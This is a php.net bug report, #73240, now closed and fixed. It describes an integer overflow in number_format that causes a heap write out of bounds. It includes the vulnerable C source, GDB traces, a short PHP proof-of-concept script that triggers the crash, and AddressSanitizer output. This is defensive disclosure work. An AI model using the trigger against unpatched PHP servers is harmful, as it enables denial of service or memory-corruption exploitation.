php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73240 Write out of bounds at number_format
Submitted: 2016-10-04 13:23 UTC Modified: 2017-02-13 01:11 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: Strings related
PHP Version: 5.6.26 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-10-04 13:23 UTC] fernando at null-life dot com
Description:
------------
When decimals parameter and dec_point length parameter are equal or close to 0x7fffffff,  integer overflow occurs in reslen variable, and causes a write heap overflow

Source code:
https://github.com/php/php-src/blob/master/ext/standard/math.c#L1107

PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point,
		size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len)
{
	zend_string *res;
	zend_string *tmpbuf;
	char *s, *t;  /* source, target */
	char *dp;
	int integral;
	int reslen = 0;
	int count = 0;
	int is_negative=0;

	if (d < 0) {
		is_negative = 1;
		d = -d;
	}

	dec = MAX(0, dec);
	d = _php_math_round(d, dec, PHP_ROUND_HALF_UP);
	tmpbuf = strpprintf(0, "%.*F", dec, d);
	if (tmpbuf == NULL) {
		return NULL;
	} else if (!isdigit((int)ZSTR_VAL(tmpbuf)[0])) {
		return tmpbuf;
	}

	/* find decimal point, if expected */
	if (dec) {
		dp = strpbrk(ZSTR_VAL(tmpbuf), ".,");
	} else {
		dp = NULL;
	}

	/* calculate the length of the return buffer */
	if (dp) {
		integral = (int)(dp - ZSTR_VAL(tmpbuf));
	} else {
		/* no decimal point was found */
		integral = (int)ZSTR_LEN(tmpbuf);
	}

	/* allow for thousand separators */
	if (thousand_sep) {
		integral += (int)(thousand_sep_len * ((integral-1) / 3));
	}

	reslen = integral;

	if (dec) {
		reslen += dec;                               // Integer overflow

		if (dec_point) {
			reslen += (int)dec_point_len;
		}
	}

	/* add a byte for minus sign */
	if (is_negative) {
		reslen++;
	}
	res = zend_string_alloc(reslen, 0);

	s = ZSTR_VAL(tmpbuf) + ZSTR_LEN(tmpbuf) - 1;
	t = ZSTR_VAL(res) + reslen;
	*t-- = '\0';

	/* copy the decimal places.
	 * Take care, as the sprintf implementation may return less places than
	 * we requested due to internal buffer limitations */
	if (dec) {
		int declen = (int)(dp ? s - dp : 0);
		int topad = dec > declen ? dec - declen : 0;

		/* pad with '0's */
		while (topad--) {
			*t-- = '0';                  // NULL write out of bounds
		}

...


GDB output:

USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args /home/operac/build4/bin/php -n poc.php
...
gdb-peda$ b math.c:1168
Breakpoint 2 at 0x1497c0c: file /home/operac/build4/php-src/ext/standard/math.c, line 1168.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -n poc.php
...
Breakpoint 2, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1168
1168                    reslen += dec;
gdb-peda$ p reslen
$1 = 0x5
gdb-peda$ p dec
$2 = 0x7fffffff
gdb-peda$ p/d reslen+dec
$4 = -2147483644              /* Integer overflow */
gdb-peda$ b math.c:1176
Breakpoint 3 at 0x1497460: file /home/operac/build4/php-src/ext/standard/math.c, line 1176.
gdb-peda$ c
Continuing.
...
Breakpoint 3, _php_math_number_format_ex (d=<optimized out>, dec=0x7fffffff, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1177
1177                    reslen++;
gdb-peda$ p reslen
$5 = 0x3                  /* reslen decreases*/
gdb-peda$ b math.c:1193
Breakpoint 4 at 0x1497c5b: file /home/operac/build4/php-src/ext/standard/math.c, line 1193.
gdb-peda$ c
...
Breakpoint 4, _php_math_number_format_ex (d=<optimized out>, dec=<optimized out>, dec_point=0x7fff6f3c1818 '/' <repeats 200 times>..., dec_point_len=0x7fffffff, thousand_sep=0x60300006e758 ",", thousand_sep_len=0x1)
    at /home/operac/build4/php-src/ext/standard/math.c:1193
1193                    while (topad--) {
1194                            *t-- = '0';
1195                    }
gdb-peda$ p/d topad
$6 = 2147483329           /* NULL write out of bounds */




Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v2=0x7fffffff;
$v3=str_repeat("/", 0x7fffffff);
number_format(1234.56789, $v2, $v3, ",");


Expected result:
----------------
No crash

Actual result:
--------------
==7315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300006e6af at pc 0x00000149844b bp 0x7ffffc2814a0 sp 0x7ffffc281490
WRITE of size 1 at 0x60300006e6af thread T0
    #0 0x149844a in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1194
    #1 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
    #2 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #3 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #4 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #5 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #6 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #7 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #8 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #9 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

0x60300006e6af is located 1 bytes to the left of 32-byte region [0x60300006e6b0,0x60300006e6d0)
allocated by thread T0 here:
    #0 0x7f50f727b602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1860ec0 in __zend_malloc /home/operac/build4/php-src/Zend/zend_alloc.c:2866
    #2 0x149748c in zend_string_alloc /home/operac/build4/php-src/Zend/zend_string.h:121
    #3 0x149748c in _php_math_number_format_ex /home/operac/build4/php-src/ext/standard/math.c:1179
    #4 0x14990e4 in zif_number_format /home/operac/build4/php-src/ext/standard/math.c:1268
    #5 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #6 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #7 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #8 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #9 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #10 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #11 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #12 0x7f50f4cc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/build4/php-src/ext/standard/math.c:1194 _php_math_number_format_ex
...


Patches

Pull Requests

Pull requests:

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-11 06:50 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-10-11 06:50 UTC] stas@php.net
The fix is in security repo as 3b5262ec4c9a6f985f8ff1fb4a7bed18f1b48f75 and in https://gist.github.com/196d7aee3ac1b3e8bb29305616914c7b
 [2016-10-11 06:50 UTC] stas@php.net
please verify
 [2016-10-11 23:40 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26
 [2016-10-11 23:48 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-10-11 23:48 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2017-02-13 01:11 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 15:01:30 2024 UTC